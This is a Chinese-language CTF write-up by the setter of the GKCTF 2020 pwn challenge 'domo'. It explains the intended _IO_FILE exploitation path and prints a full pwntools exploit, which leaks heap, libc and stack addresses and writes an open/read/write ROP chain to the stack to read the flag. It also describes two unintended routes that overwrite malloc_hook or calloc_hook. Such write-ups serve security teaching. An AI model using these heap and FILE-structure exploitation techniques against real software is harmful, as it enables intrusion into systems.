首先是昨天举行的GKCTF顺利举办,特别感谢为我们辛苦做题目测试与运维的glzjin师傅,为我们的比赛前前后后忙活了好几天。然后感谢各位师傅们辛苦来打比赛。
这次比赛我出了一道pwn,后来跟师傅们讨论的时候发现师傅们都是通过非预期来拿下flag的,这也让我学到了很多…
出题人的想法 关于本次比赛的话,做题的师傅们比想象的要少,当时看到官方群里刷刷的涨到了1000+人,我当时挺慌的,就想出一个让大多数师傅都觉得不错的一道题,我的压力其实不是特别的大,我的是个签到题(好像不太友好)。
但是做题情况有些不尽人意,domo只有6个人出了,whali3n51师傅费尽心思设计的一个非常棒二叉树好像没多少人去研究(C++劝退),还有最后的女盆友多线程的题,利用也是非常简单,但是pwn师傅们好像都没怎么去研究了,可能都去做宝可梦去了(宝可梦真好玩)。
关于非预期 我这个题在设计的时候其实就已经考虑到了会有很多非预期解,当我用scanf去输入数字,还有我在程序的最后才加入的seccomp保护,都给了这个程序太多的利用方式了.
我认为pwn本身就是一个不局限于正常思维的一门技术,想让大家都用一种方式去利用程序漏洞太过于勉强了,大家用不同的方式拿下flag也让我学会了很多。
到最后我还挺兴奋当时留下了好多非预期解,可能没这几个非预期pwn的题目出的人会更少,可能奖品都不好发出去。
预期做法 源码
本意是想考察师傅们对与io_file的利用,本来的想法是利用off-by-one分别泄露heap_addr,libc_addr,然后控制IO_stdout_来泄露stack的地址,然后控制_IO_stdin来往返回地址写入ORW,
但是在查看了师傅们的wp后发现,好像没有预期解的.
这里我解释下预期解需要的知识点:
在IO_stdout中(泄露stack_addr)
更改_IO_write_base为environ里初始地址
更改_IO_write_ptr为environ+8
在IO_stdin中(stack中写入rop)
更改_IO_buf_base 为返回地址
更改_IO_buf_end 为要写入的末地址
我就不再详细去解释了,有兴趣的师傅们自己去调一调把…
贴下预期解wp:
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('domo')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./domo')
else:
p = remote(ip,port)
def add(size,content):
p.sendlineafter("> ","1")
p.sendlineafter("size:\n",str(size))
p.sendafter("content:\n",content)
def free(index):
p.sendlineafter("> ","2")
p.sendlineafter("index:\n",str(index))
def show(index):
p.sendlineafter("> ","3")
p.sendlineafter("index:\n",str(index))
def edit(index,content):
p.sendlineafter("> ","4")
p.sendlineafter("addr:",str(index))
p.sendafter("num:",content)
def add2(size,content):
p.sendlineafter("> ","1")
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)
def free2(index):
p.sendlineafter("> ","2")
p.sendlineafter("index:",str(index))
#-----link heap_addr
add(0x18,"A")
add(0x18,"A")
free(0)
free(1)
add(0x18,"\x10")
show(0)
heap_addr=u64(p.recv(6).ljust(8,"\x00"))
free(0)
#--------link libc
add(0x100,"A"*0x100)
add(0x100,'b'*0x100)
add(0x68,'c'*0x68)
add(0x68,'d'*0x68)
add(0x100,'e'*56+p64(0x71)+'e'*176+ p64(0x100) + p64(0x21))
add(0x68,p64(0x21)*2)
free(2)
free(3)
free(0)
add(0x68,"\x11"*0x60+p64(0x300))
free(4)
add(0x100,'flag'.ljust(8,'\x00')+'\x22'*0x58)
show(1)
main_arena=u64(p.recv(6).ljust(8,"\x00"))
libcbase_addr=main_arena-0x3c4b78
environ_addr=libcbase_addr+libc.symbols["environ"]
stdout_hook=libcbase_addr+libc.symbols["_IO_2_1_stdout_"]
stdin_hook=libcbase_addr+libc.symbols["_IO_2_1_stdin_"]
_IO_file_jumps=libcbase_addr+libc.symbols["_IO_file_jumps"]
#------link stack_addr
payload="A"*0x100
payload += p64(0) + p64(0x71)
payload+=p64(stdout_hook-0x43)
add(0x118,payload)
add(0x68,'a')
payload=p64(0)*5+'\x00'*3+p64(_IO_file_jumps)+p64(0xfbad1800)+p64(stdout_hook+131)+p64(stdout_hook+131)+p64(stdout_hook+131)
payload+=p64(environ_addr)+p64(environ_addr+8)
print "len=",hex(len(payload))
add(0x68,payload)
stack_addr=u64(p.recv(6).ljust(8,'\x00'))-0xf2
#--------Write orw to stack
add2(0xf8,p64(0)*11+p64(0x71))
free2(0)
free2(4)
add2(0x68,p64(0)+p64(0x111))
free2(7)
add2(0x108,p64(0)*11+p64(0x71)+p64(stdin_hook-0x28))
add2(0x68,'flag')
pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
open_addr=libcbase_addr+libc.symbols["open"]
read_addr=libcbase_addr+libc.symbols["read"]
puts_addr=libcbase_addr+libc.symbols["write"]
orw=p64(pop_rdi_ret)+p64(heap_addr+0x50)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)
payload=p64(0)+p64(libcbase_addr+libc.symbols["_IO_wfile_jumps"])+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(stack_addr)+p64(stack_addr+0x100)
print "heap_addr=",hex(heap_addr)
print "len=",hex(len(payload))
print "stack_addr=",hex(stack_addr)
edit(stdin_hook-0x20,'\x7f')
add2(0x68,payload)
p.sendlineafter("> ","5\n"+orw)
p.interactive()
if __name__ == '__main__':
pwn('node3.buuoj.cn',25868,0)
非预期做法 第一种,更改malloc_hook为one_gadget的地址,通过scanf(很多个字符)来实现shell。
这个非预期的话,由于我已经把malloc_hook重新extern了,通过scanf来进行malloc绕过了我的检测。实现了shell。
第二种,seccomp里面调用了calloc(师傅们姿势tql),通过更改calloc_hook来进行shell。
总结 从各位师傅这里学到了很多姿势,这些非预期解法就不再去贴exp了,大家有兴趣的自己去试一试,这些非预期都很简单但是我还是希望大家都学一下预期的解法,防止以后遇到题是想不到其他的利用方式的时候可以尝试用这个解法来拿到flag。
我还是那个想法,pwn题没必要局限与一种思路去解题,我能做到的就只能是我认为只有一种利用思路。然后师傅们每用一种其他的利用思路都令我学习了新知识。
在最后谢谢师傅们去玩GKCTF,师傅们辛苦了(ddddhm)
如果有时间可以去玩一玩剩下的BTS与girlfriend_simulator,whali3n51师傅非常用心的设计了这两个题,师傅们也可以学到很多东西的。
关于密码学太简单的问题,出密码的是我们的HR小姐姐,刚开始学密码,嘿嘿嘿
看到官方群里要暴打出题人,气抖冷,出题人何时才能真正的站起来,但还是想说
gkctf_2020_pwn_domo
(玩宝可梦去了)
|